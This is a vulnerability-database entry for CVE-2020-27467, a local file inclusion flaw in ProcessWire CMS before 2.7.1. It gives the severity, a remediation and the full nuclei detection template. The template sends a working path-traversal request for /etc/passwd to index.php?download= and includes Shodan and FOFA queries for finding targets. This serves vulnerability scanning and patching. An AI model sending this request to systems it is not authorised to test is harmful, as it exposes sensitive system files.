HexBrain

Browse / CVEs / CVE-2020-27467

CVE-2020-27467· processwire / processwire· CWE-22

Processwire CMS <2.7.1 - Local File Inclusion

highseverity
7.5CVSS score
15.3%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Processwire CMS prior to 2.7.1 is vulnerable to local file inclusion because it allows a remote attacker to retrieve sensitive files via the download parameter to index.php.

Impact

An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.

Fix

Upgrade Processwire CMS to version 2.7.1 or later to fix the Local File Inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?download=/etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-27467 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-27467

info:
  name: Processwire CMS <2.7.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Processwire CMS prior to 2.7.1 is vulnerable to local file inclusion because it allows a remote attacker to retrieve sensitive files via the download parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.
  remediation: |
    Upgrade Processwire CMS to version 2.7.1 or later to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/Y1LD1R1M-1337/LFI-ProcessWire
    - https://processwire.com/
    - https://github.com/ceng-yildirim/LFI-processwire
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27467
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-27467
    cwe-id: CWE-22
    epss-score: 0.1533
    epss-percentile: 0.968
    cpe: cpe:2.3:a:processwire:processwire:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: processwire
    product: processwire
    shodan-query: http.html:"processwire"
    fofa-query: body="processwire"
  tags: cve,cve2020,processwire,lfi,cms,oss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?download=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from